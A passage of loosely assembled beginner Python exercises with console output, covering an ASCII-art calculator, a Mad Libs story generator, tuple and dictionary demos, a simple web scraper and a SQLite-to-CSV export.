        soup = BeautifulSoup(response.content, 'html.parser')
        # Find all the 'a' tags (hyperlinks) on the page
        links = soup.find_all('a')

        # Extract filenames from the href attribute of 'a' tags
        files = [link['href'] for link in links if link.has_attr('href')]

        # Filter out directories and other unwanted links
        files = [filename for filename in files if filename.endswith('.nc')]
    
        for file in files:
            try:
                file_url = urljoin(ftp_path, file)

                to_download = (outputDir + file)

                # Download the file
                urllib.request.urlretrieve(file_url, to_download)

                print(f"Downloaded: {file}")

            except:
                print("Error")

SLP = SLP.assign_coords(longitude=(((SLP.longitude + 180) % 360) -180))
Z = Z.assign_coords(longitude=(((Z.longitude + 180) % 360) -180))
SLP = SLP.sortby(SLP['longitude'])
Z = Z.sortby(Z['longitude'])

.\env\Scripts\activate

find_item = input("Enter the item to be searched here:- ").lower()

items = {'wand': 5, 'telescope': 2, 'feather pen': 7}

for thing in items:
    if thing == find_item:
        print(f"{items[thing]} units of {thing} are present.")
        break
else:
    print('No stock left! You need to go and buy!!')

numbers = [51, 32, 63, 74, 45, 36, 47]

for i in numbers:
   pass

numbers = [51, 32, 63, 74, 45, 36, 47]

for num in numbers:
    if num % 2 == 0:
        continue
    else:
        print(num)

numbers = [51, 32, 63, 74, 45, 36, 47]

for num in numbers:
    if num % 5 == 0:
        print(num)
        break

wizard_list = ["Wand", "Cauldron", "crystal phials", \
        "telescope", "brass scales", "Owl", \
        "Cat", "Toad", \
        "Feather"]

for items in wizard_list:
    print(items)

wizard_list = ["Wand", "Cauldron", "crystal phials", \
        "telescope", "brass scales", "Owl", \
        "Cat", "Toad", \
        "Feather pen"]

print(wizard_list[0])
print(wizard_list[1])
print(wizard_list[2])
print(wizard_list[3])
print(wizard_list[4])
print(wizard_list[5])
print(wizard_list[6])
print(wizard_list[7])
print(wizard_list[8])

 _____________________
|  _________________  |
| | Pythonista   0. | |  .----------------.  .----------------.  .----------------.  .----------------. 
| |_________________| | | .--------------. || .--------------. || .--------------. || .--------------. |
|  ___ ___ ___   ___  | | |     ______   | || |      __      | || |   _____      | || |     ______   | |
| | 7 | 8 | 9 | | + | | | |   .' ___  |  | || |     /  \     | || |  |_   _|     | || |   .' ___  |  | |
| |___|___|___| |___| | | |  / .'   \_|  | || |    / /\ \    | || |    | |       | || |  / .'   \_|  | |
| | 4 | 5 | 6 | | - | | | |  | |         | || |   / ____ \   | || |    | |   _   | || |  | |         | |
| |___|___|___| |___| | | |  \ `.___.'\  | || | _/ /    \ \_ | || |   _| |__/ |  | || |  \ `.___.'\  | |
| | 1 | 2 | 3 | | x | | | |   `._____.'  | || ||____|  |____|| || |  |________|  | || |   `._____.'  | |
| |___|___|___| |___| | | |              | || |              | || |              | || |              | |
| | . | 0 | = | | / | | | '--------------' || '--------------' || '--------------' || '--------------' |
| |___|___|___| |___| |  '----------------'  '----------------'  '----------------'  '----------------' 
|_____________________|
                           Welcome to pythonista Calculator
                  We support the following operations on two numbers:
                  - subraction
                  + addition
                  * multiplication
                  / division
                  ** exponention
                  % modular division

Enter 1st number:- 13
Enter 2nd number:- 2 
Enter the operator here:- *
13 * 2 = 26

calc = """
 _____________________
|  _________________  |
| | Pythonista   0. | |  .----------------.  .----------------.  .----------------.  .----------------. 
| |_________________| | | .--------------. || .--------------. || .--------------. || .--------------. |
|  ___ ___ ___   ___  | | |     ______   | || |      __      | || |   _____      | || |     ______   | |
| | 7 | 8 | 9 | | + | | | |   .' ___  |  | || |     /  \     | || |  |_   _|     | || |   .' ___  |  | |
| |___|___|___| |___| | | |  / .'   \_|  | || |    / /\ \    | || |    | |       | || |  / .'   \_|  | |
| | 4 | 5 | 6 | | - | | | |  | |         | || |   / ____ \   | || |    | |   _   | || |  | |         | |
| |___|___|___| |___| | | |  \ `.___.'\  | || | _/ /    \ \_ | || |   _| |__/ |  | || |  \ `.___.'\  | |
| | 1 | 2 | 3 | | x | | | |   `._____.'  | || ||____|  |____|| || |  |________|  | || |   `._____.'  | |
| |___|___|___| |___| | | |              | || |              | || |              | || |              | |
| | . | 0 | = | | / | | | '--------------' || '--------------' || '--------------' || '--------------' |
| |___|___|___| |___| |  '----------------'  '----------------'  '----------------'  '----------------' 
|_____________________|
                           Welcome to pythonista Calculator
                  We support the following operations on two numbers:
                  - subraction
                  + addition
                  * multiplication
                  / division
                  ** exponention
                  % modular division
"""
print(calc)
first_number = int(input("Enter 1st number:- "))
second_number = int(input("Enter 2nd number:- "))
operator_ = input("Enter the operator here:- ")

if operator_ == "-":
    result = first_number - second_number
    print(f"{first_number} {operator_} {second_number} = {result}")

elif operator_ == "+":
    result = first_number + second_number
    print(f"{first_number} {operator_} {second_number} = {result}")

elif operator_ == "*":
    result = first_number * second_number
    print(f"{first_number} {operator_} {second_number} = {result}")

elif operator_ == "/":
    result = first_number / second_number
    print(f"{first_number} {operator_} {second_number} = {result}")

elif operator_ == "**":
    result = first_number ** second_number
    print(f"{first_number} {operator_} {second_number} = {result}")

elif operator_ == "%":
    result = first_number % second_number
    print(f"{first_number} {operator_} {second_number} = {result}")

else:
    print("You entered an invalid operator!!")

a = int(input("Enter value of a:-\n"))
b = int(input("Enter value of b:-\n"))
print("a is greater than b") if a > b else print("b is greater than a")

num = -19

if num>=0:
    if type(num)==float:
        print(f"{num} is a positive floating-point number.")
    elif type(num)==int:
        print(f"{num} is a positive integer.")

else:
    if type(num)==float:
        print(f"{num} is a negative floating-point number.")
    elif type(num)==int:
        print(f"{num} is a negative integer.")

age = 19

if age==18:
    print("You're 18 go through the next check to know whether you qualify for license or not.")
if age > 18:
    print("You are above 18 you do qualify age criteria for license.")
else:
    print(f"You are not yet 18 come after {18-age} years to qualify the age criteria.")

age = 19

if age==18:
    print("You're 18 go through the next check to know whether you qualify for license or not.")
elif age > 18:
    print("You are above 18 you do qualify age criteria for license.")
else:
    print(f"You are not yet 18 come after {18-age} years to qualify the age criteria.")

num = -19

if num>=0:
    print(f"{num} is a positive number.")
else:
    print(f"{num} is a negative number.")

print("This will always be printed")

Welcome to the fun world ladies and gentleman


⠀⠀⠀⠀⠀⠀⠀⣠⡔⠚⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠑⠢⢄⠀⢀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢀⠔⠋⠻⢿⣷⣦⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⣽⣧⣷⠀⠀⠀⠀
⠀⠀⢀⠴⠁⠀⠀⠀⠀⢈⣹⣿⣿⣷⠀⠀⠀⠀⠀⢾⣿⣿⣟⠋⠁⠈⠳⡀⠀⠀
⠀⢠⠊⣀⣤⠴⠶⠖⢛⠻⣿⣿⣭⣀⣀⠀⠀⠀⠀⠀⠉⠻⡿⠳⠖⠶⠶⠟⠓⠲
⣴⢣⡞⡉⢄⠒⡈⠜⡀⢾⣏⠉⠙⠛⠻⠿⢿⣿⣶⣶⣿⠿⢷⡡⢘⡐⢢⠘⡄⢂
⣿⡏⡐⢌⠢⠑⡌⠂⢥⣿⣿⣦⣤⣀⣀⠀⠀⠀⠀⠀⠀⣀⣼⣷⠠⠘⡄⠣⡐⠂..
⡟⣷⠀⢆⠢⡑⣈⢡⡾⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡷⣅⠰⢁...⡡
⡇⠈⠻⣦⣴⣤⠶⠋⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠈⠉⠓⠒⢪
⡇⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡃⠀⠀⠀⠀⢸
⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⢸
⠘⡄⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⠀⠀⢀⠏
⠀⠙⣄⠀⠀⠀⠀⠀⠀⠀⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠇⠀⠀⠀⣠⠏⠀
⠀⠀⠈⠢⡀⠀⠀⠀⠀⠀⠀⠀⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⠏⠀⠀⢀⡴⠁⠀⠀
⠀⠀⠀⠀⠈⠲⢄⠀⠀⠀⠀⠀⠀⠉⠿⣿⣿⣿⣿⣿⠿⠋⠀⣠⠔⠋⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠙⠒⠤⣤⣀⣀⣀⣀⣀⣈⣉⣉⣠⠤⠖⠏⠁

Enter any of the words below and press enter to know its meaning in the fun world
['Bumfuzzle', 'Everywhen', 'Erf', 'Obelus', 'Bumbershoot']

Enter the word here:- Obelus
searching...

The meaning of 'Obelus' in our world is:-  the symbol used for division in a math problem

print("\nWelcome to the fun world ladies and gentleman\n")
print("""
⠀⠀⠀⠀⠀⠀⠀⣠⡔⠚⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠑⠢⢄⠀⢀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢀⠔⠋⠻⢿⣷⣦⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⣽⣧⣷⠀⠀⠀⠀
⠀⠀⢀⠴⠁⠀⠀⠀⠀⢈⣹⣿⣿⣷⠀⠀⠀⠀⠀⢾⣿⣿⣟⠋⠁⠈⠳⡀⠀⠀
⠀⢠⠊⣀⣤⠴⠶⠖⢛⠻⣿⣿⣭⣀⣀⠀⠀⠀⠀⠀⠉⠻⡿⠳⠖⠶⠶⠟⠓⠲
⣴⢣⡞⡉⢄⠒⡈⠜⡀⢾⣏⠉⠙⠛⠻⠿⢿⣿⣶⣶⣿⠿⢷⡡⢘⡐⢢⠘⡄⢂
⣿⡏⡐⢌⠢⠑⡌⠂⢥⣿⣿⣦⣤⣀⣀⠀⠀⠀⠀⠀⠀⣀⣼⣷⠠⠘⡄⠣⡐⠂..
⡟⣷⠀⢆⠢⡑⣈⢡⡾⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡷⣅⠰⢁...⡡
⡇⠈⠻⣦⣴⣤⠶⠋⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠈⠉⠓⠒⢪
⡇⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡃⠀⠀⠀⠀⢸
⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⢸
⠘⡄⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⠀⠀⢀⠏
⠀⠙⣄⠀⠀⠀⠀⠀⠀⠀⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠇⠀⠀⠀⣠⠏⠀
⠀⠀⠈⠢⡀⠀⠀⠀⠀⠀⠀⠀⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⠏⠀⠀⢀⡴⠁⠀⠀
⠀⠀⠀⠀⠈⠲⢄⠀⠀⠀⠀⠀⠀⠉⠿⣿⣿⣿⣿⣿⠿⠋⠀⣠⠔⠋⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠙⠒⠤⣤⣀⣀⣀⣀⣀⣈⣉⣉⣠⠤⠖⠏⠁
""")

fun_world_dictionary = {'Bumfuzzle': "confused",
                        'Everywhen': "all the time",
                        'Erf': "plot of land",
                        'Obelus': " the symbol used for division in a math problem",
                        'Bumbershoot': "umbrella"}

# I know that it's not quiet funnny(ok not at all funny). But, please forgive me for that

print("Enter any of the words below and press enter to know its meaning in the fun world")
list_of_words = list(fun_world_dictionary.keys())
print(list_of_words, "\n")


word_to_be_searched = input("Enter the word here:- ")
print("searching...\n")
meaning =""

if word_to_be_searched=="Bumfuzzle":
    meaning= fun_world_dictionary['Bumfuzzle']

if word_to_be_searched=="Everywhen":
    meaning= fun_world_dictionary['Everywhen']

if word_to_be_searched=="Erf":
    meaning= fun_world_dictionary['Erf']

if word_to_be_searched=="Obelus":
    meaning= fun_world_dictionary['Obelus']

if word_to_be_searched=="Bumbershoot":
    meaning= fun_world_dictionary['Bumbershoot']


print(f"The meaning of '{word_to_be_searched}' in our world is:- {meaning}\n")

$ uvicorn main:app --reload --port 8000

conda env export > environment.yml --no-builds

pip list --format=freeze > requirements.txt

import pip
import importlib
def import_with_auto_install(package):
    try:
        return importlib.import_module(package)
    except ImportError:
        pip.main(['install', package])
    return importlib.import_module(package)
# Example
if __name__ == '__main__':
    imp = import_with_auto_install('{insert module name here}')
    print(imp)

import requests
from bs4 import BeautifulSoup

def get_mining_districts():
    url = "https://www.tanzaniainvest.com/mining"
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3"}
    
    try:
        response = requests.get(url, headers=headers, timeout=10)
        response.raise_for_status()  # Raise an exception for HTTP errors
        soup = BeautifulSoup(response.content, 'html.parser')
        
        mining_section = soup.find('span', {'id': 'District'})
        
        districts = []
        if mining_section:
            district_list = mining_section.find_next('ul')
            if district_list:
                district_items = district_list.find_all('li')
                for district_item in district_items:
                    district_name = district_item.text.strip()
                    districts.append(district_name)
                    
        return districts
    except requests.exceptions.RequestException as e:
        print("Error:", e)
        return None

if __name__ == "__main__":
    mining_districts = get_mining_districts()
    if mining_districts:
        for index, district in enumerate(mining_districts, start=1):
            print(f"{index}. {district}")

df['unique'] = ~df['value'].duplicated(keep=False)
print (df)
   value  unique
0      1    True
1      2   False
2      2   False
3      3    True
4      4   False
5      4   False

trophies = {"Music championship", "Coding Championship", \
    "Certified Associate in Python Programming (PCAP)", \
    "CompTIA Security+", \
    "MongoDB Certified Developer Associate Exam"}

print(trophies)
print(type(trophies))

⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⣿⣿⣷⣶⣴⣾⣿⣿⣿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⣀⣤⣤⣴⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣤⣤⣤⣄⠀⠀⠀⠀
⠀⠀⠀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⠀⠀⠀
⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡀⠀⠀
⢀⣤⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⡀
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠁⠈⢻⣿⣿⣿⣿⣿⣿⣿
⢿⣿⣿⣿⣿⣿⣿⣿⡿⠻⣿⣿⣿⣿⣿⣿⣿⠟⠁⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿
⢈⣿⣿⣿⣿⣿⣿⣯⡀⠀⠈⠻⣿⣿⣿⠟⠁⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⡁
⣾⣿⣿⣿⣿⣿⣿⣿⣿⣦⡀⠀⠈⠛⠁⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⡀⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⠈⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠁
⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠇⠀⠀
⠀⠀⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⠀
⠀⠀⠀⠀⠉⠛⠛⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠛⠛⠉⠁⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⣿⣿⣿⠿⢿⡻⠿⣿⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀

{'Liam': ('Yes', 'No', 'Yes'), 'Olivia': ('Yes', 'No', 'Yes'), 'Noah': ('Yes', 'Yes', 'Yes'), 'Emma': ('Yes', 'No', 'Yes')}

done = """
⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⣿⣿⣷⣶⣴⣾⣿⣿⣿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⣀⣤⣤⣴⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣤⣤⣤⣄⠀⠀⠀⠀
⠀⠀⠀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⠀⠀⠀
⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡀⠀⠀
⢀⣤⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⡀
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠁⠈⢻⣿⣿⣿⣿⣿⣿⣿
⢿⣿⣿⣿⣿⣿⣿⣿⡿⠻⣿⣿⣿⣿⣿⣿⣿⠟⠁⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿
⢈⣿⣿⣿⣿⣿⣿⣯⡀⠀⠈⠻⣿⣿⣿⠟⠁⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⡁
⣾⣿⣿⣿⣿⣿⣿⣿⣿⣦⡀⠀⠈⠛⠁⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⡀⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⠈⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠁
⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠇⠀⠀
⠀⠀⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⠀
⠀⠀⠀⠀⠉⠛⠛⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠛⠛⠉⠁⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⣿⣿⣿⠿⢿⡻⠿⣿⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀
"""
print(done)

name_homework_done = {"Liam": ("Yes", "No", "Yes"),
                      "Olivia": ("Yes", "No", "Yes"),
                      "Noah": ("Yes", "Yes", "Yes"),
                      "Emma": ("Yes", "No", "Yes")}
print(name_homework_done)

homework = ("Multiplication Table of Two", \
"A poem on environment", "Multiplication Table of Two",\
"Process of Photosynthesis",\
"Maps of the world", "glorious past revision",\
"Multiplication Table of Two")

print(homework)
print()
print(homework.index("Multiplication Table of Two"))

homework = ("Multiplication Table of Two", \
"A poem on environment", "Multiplication Table of Two",\
"Process of Photosynthesis",\
"Maps of the world", "glorious past revision",\
"Multiplication Table of Two")

print(homework)
print()
print(homework.count("Multiplication Table of Two"))

homework = ("Multiplication Table of Two", \
"A poem on environment", "Process of Photosynthesis",\
"Maps of the world", "glorious past revision")

print(homework)

HW = homework
print(HW)

homework1 = ("Multiplication Table of Two", \
"A poem on environment", "Process of Photosynthesis")

homework2 = ("Maps of the world", "glorious past revision")

homework = homework1 + homework2

print(homework)

s_tup = hello <class 'str'>
s1_tup = ('hello',) <class 'tuple'>
s2_tup = hello <class 'str'>       
s3_tup = ('hello',) <class 'tuple'>

s_tup = "hello"  # This will be a string
s1_tup = "hello",  # This will be a tuple
s2_tup = ("hello")  # This will be a string
s3_tup = ("hello",)  # This will be a tuple

print(f"s_tup = {s_tup} {type(s_tup)}")
print(f"s1_tup = {s1_tup} {type(s1_tup)}")
print(f"s2_tup = {s2_tup} {type(s2_tup)}")
print(f"s3_tup = {s3_tup} {type(s3_tup)}")

___________________________________ 
|#######====================#######|
|#(1)*UNITED STATES OF AMERICA*(1)#|
|#**          /===\   ********  **#|
|*# {G}      | (") |             #*|
|#*  ******  | /v\ |    O N E    *#|
|#(1)         \===/            (1)#|
|##=========ONE DOLLAR===========##|
------------------------------------

{'apple': [100, 10000, 1000], 'banana': [90, 9000, 900], 'spinach': [50, 4000, 800], 'pineapples': [100, 8000, 900]}

money = """
___________________________________
|#######====================#######|
|#(1)*UNITED STATES OF AMERICA*(1)#|
|#**          /===\   ********  **#|
|*# {G}      | (") |             #*|
|#*  ******  | /v\ |    O N E    *#|
|#(1)         \===/            (1)#|
|##=========ONE DOLLAR===========##|
------------------------------------
"""
print(money)

price_profit_revenue = {"apple": [100, 10000, 1000], 
                        "banana": [90, 9000, 900], 
                        "spinach": [50, 4000, 800], 
                        "pineapples": [100, 8000, 900]}

print(price_profit_revenue)

import csv
import sqlite3

chr_ranges = (0x00, 0x09), (0x0B, 0x20), (0x7F, 0xA0)  # 'special' character ranges
trans_table = {x: " " for r in chr_ranges for x in range(*r)} # 'special'->space trans. table

def trans_field(value):
    try:
        return value.translate(trans_table)  # try to translate and return
    except AttributeError:  # if there's no translate method on the passed value...
        return value  # return the original value

connection = sqlite3.connect("your_db")  # connect to the database
cursor = connection.cursor()  # grab a database cursor
results = cursor.execute("select * from your_table")  # execute the select query
header = [c[0] for c in cursor.description]  # get the column names for our CSV header

with open("output.csv", "w", newline="") as f:  # open("output.csv", "wb") on Python 2.x
    writer = csv.writer(f, delimiter="\t")  # create a CSV writer with \t as a delimiter
    writer.writerow(header)  # write the header (column names)
    for result in results:  # iterate over the returned results
        writer.writerow(map(trans_field, result))  # process result fields and write the row

            , ; ,     
        .'         '.
       /   ()   ()   \
      ;               ;
      ; :.  MADLIB .; ;
       \'.'-.....-'.'/
        '.'.-.-,_.'.'
          '(  (..-'
            '-'

Enter a name:- someone
Enter a skill:- programming
Enter any object:- laptop
Enter a verb:- typing
Enter another verb:- searching
Enter a verb again:- creating
Enter an adjective:- fast


-----------Original Story-----------
A teenage boy named John had just passed his driving test
and asked his Dad if he could start using the family car. The Dad
said he'd make a deal with John, "You bring your grades up from a C
to a B average, study your Bible a little, and get your hair cut.
Then we'll talk about the car". John thought about that for a
moment, decided he'd settle for the offer and they agreed on it.
After about six weeks, the Dad said, "John, you've brought your
grades up and I've observed that you have been studying your
Bible, but I'm disappointed you haven't had your hair cut."
John said, "You know, Dad, I've been thinking about that,
and I've noticed in my studies of the Bible that Samson had
long hair, John the Baptist had long hair, Moses had long hair,
and there's even strong evidence that Jesus had long hair." His
Dad replied,"Did you also notice that they all walked everywhere
they went?"

-----------Madlib Story-----------
A fast boy named someone had just passed his programming test
and asked his Dad if he could start using the family laptop. The Dad
said he'd make a typing with someone, "You bring your grades up from a C
to a B average, study your Bible a little, and get your hair cut.
Then we'll talk about the laptop". someone thought about that for a
moment, decided he'd settle for the offer and they agreed on it.
After about six weeks, the Dad said, "someone, you've brought your
grades up and I've observed that you have been studying your Bible,
but I'm disappointed you haven't had your hair cut."
someone said, "You know, Dad, I've been searching about that, and I've
noticed in my studies of the Bible that Samson had long hair,
John the Baptist had long hair, Moses had long hair, and there's even
strong evidence that Jesus had long hair." His Dad replied,
"Did you also notice that they all creating everywhere they went?"

Madlib_logo ='''
            , ; ,     
        .'         '.
       /   ()   ()   \\
      ;               ;
      ; :.  MADLIB .; ;
       \\'.'-.....-'.'/
        '.'.-.-,_.'.'
          '(  (..-'
            '-'
'''
print(Madlib_logo)
#step1: Store story in a variable.
story = '''A teenage boy named John had just passed his driving test
and asked his Dad if he could start using the family car. The Dad
said he'd make a deal with John, "You bring your grades up from a C
to a B average, study your Bible a little, and get your hair cut.
Then we'll talk about the car". John thought about that for a
moment, decided he'd settle for the offer and they agreed on it.
After about six weeks, the Dad said, "John, you've brought your
grades up and I've observed that you have been studying your
Bible, but I'm disappointed you haven't had your hair cut."
John said, "You know, Dad, I've been thinking about that,
and I've noticed in my studies of the Bible that Samson had
long hair, John the Baptist had long hair, Moses had long hair,
and there's even strong evidence that Jesus had long hair." His
Dad replied,"Did you also notice that they all walked everywhere
they went?"'''

#step2: Input variables.
name = input("Enter a name:- ")
skill = input("Enter a skill:- ")
object_ = input("Enter any object:- ")
verb1 = input("Enter a verb:- ")
verb2 = input("Enter another verb:- ")
verb3 = input("Enter a verb again:- ")
adjective = input("Enter an adjective:- ")

#step3: Store the variables in a list
blanks = [name, skill, object_, verb1, verb2, verb3, adjective]

#step4: Merge variable in story using an f-string
changed_story = f'''A {blanks[6]} boy named {blanks[0]} had just passed his {blanks[1]} test
and asked his Dad if he could start using the family {blanks[2]}. The Dad
said he'd make a {blanks[3]} with {blanks[0]}, "You bring your grades up from a C
to a B average, study your Bible a little, and get your hair cut.
Then we'll talk about the {blanks[2]}". {blanks[0]} thought about that for a
moment, decided he'd settle for the offer and they agreed on it.
After about six weeks, the Dad said, "{blanks[0]}, you've brought your
grades up and I've observed that you have been studying your Bible,
but I'm disappointed you haven't had your hair cut."
{blanks[0]} said, "You know, Dad, I've been {blanks[4]} about that, and I've
noticed in my studies of the Bible that Samson had long hair,
John the Baptist had long hair, Moses had long hair, and there's even
strong evidence that Jesus had long hair." His Dad replied,
"Did you also notice that they all {blanks[5]} everywhere they went?"'''

#step5: print both the stories
print(f"\n\n-----------Original Story-----------\n{story}\n\n-----------Madlib Story-----------\n{changed_story}")

            , ; ,     
        .'         '.
       /   ()   ()   \
      ;               ;
      ; :.  MADLIB .; ;
       \'.'-.....-'.'/
        '.'.-.-,_.'.'
          '(  (..-'
            '-'

Enter a name:- Emma
Enter a skill:- acting
Enter any object:- sword
Enter a verb:- crying
Enter another verb:- sleeping
Enter a verb again:- dancing
Enter an adjective:- magical


-----------Original Story-----------
A teenage boy named John had just passed his driving test
and asked his Dad if he could start using the family car. The Dad
said he'd make a deal with John, "You bring your grades up from a C
to a B average, study your Bible a little, and get your hair cut.
Then we'll talk about the car". John thought about that for a
moment, decided he'd settle for the offer and they agreed on it.
After about six weeks, the Dad said, "John, you've brought your
grades up and I've observed that you have been studying your
Bible, but I'm disappointed you haven't had your hair cut."
John said, "You know, Dad, I've been thinking about that,
and I've noticed in my studies of the Bible that Samson had
long hair, John the Baptist had long hair, Moses had long hair,
and there's even strong evidence that Jesus had long hair." His
Dad replied,"Did you also notice that they all walked everywhere
they went?"

-----------Madlib Story-----------
A magical boy named Emma had just passed his acting test
and asked his Dad if he could start using the family sword. The Dad
said he'd make a crying with Emma, "You bring your grades up from a C
to a B average, study your Bible a little, and get your hair cut.
Then we'll talk about the sword". Emma thought about that for a
moment, decided he'd settle for the offer and they agreed on it.
After about six weeks, the Dad said, "Emma, you've brought your
grades up and I've observed that you have been studying your Bible,
but I'm disappointed you haven't had your hair cut."
Emma said, "You know, Dad, I've been sleeping about that, and I've
noticed in my studies of the Bible that Samson had long hair,
John the Baptist had long hair, Moses had long hair, and there's even
strong evidence that Jesus had long hair." His Dad replied,
"Did you also notice that they all dancing everywhere they went?"

Madlib_logo ='''
            , ; ,     
        .'         '.
       /   ()   ()   \\
      ;               ;
      ; :.  MADLIB .; ;
       \\'.'-.....-'.'/
        '.'.-.-,_.'.'
          '(  (..-'
            '-'
'''
print(Madlib_logo)
#step1: Store story in a variable.
story = '''A teenage boy named John had just passed his driving test
and asked his Dad if he could start using the family car. The Dad
said he'd make a deal with John, "You bring your grades up from a C
to a B average, study your Bible a little, and get your hair cut.
Then we'll talk about the car". John thought about that for a
moment, decided he'd settle for the offer and they agreed on it.
After about six weeks, the Dad said, "John, you've brought your
grades up and I've observed that you have been studying your
Bible, but I'm disappointed you haven't had your hair cut."
John said, "You know, Dad, I've been thinking about that,
and I've noticed in my studies of the Bible that Samson had
long hair, John the Baptist had long hair, Moses had long hair,
and there's even strong evidence that Jesus had long hair." His
Dad replied,"Did you also notice that they all walked everywhere
they went?"'''

#step2: Input variables.
name = input("Enter a name:- ")
skill = input("Enter a skill:- ")
object_ = input("Enter any object:- ")
verb1 = input("Enter a verb:- ")
verb2 = input("Enter another verb:- ")
verb3 = input("Enter a verb again:- ")
adjective = input("Enter an adjective:- ")

#step3: Merge variable in story using an f-string
changed_story = f'''A {adjective} boy named {name} had just passed his {skill} test
and asked his Dad if he could start using the family {object_}. The Dad
said he'd make a {verb1} with {name}, "You bring your grades up from a C
to a B average, study your Bible a little, and get your hair cut.
Then we'll talk about the {object_}". {name} thought about that for a
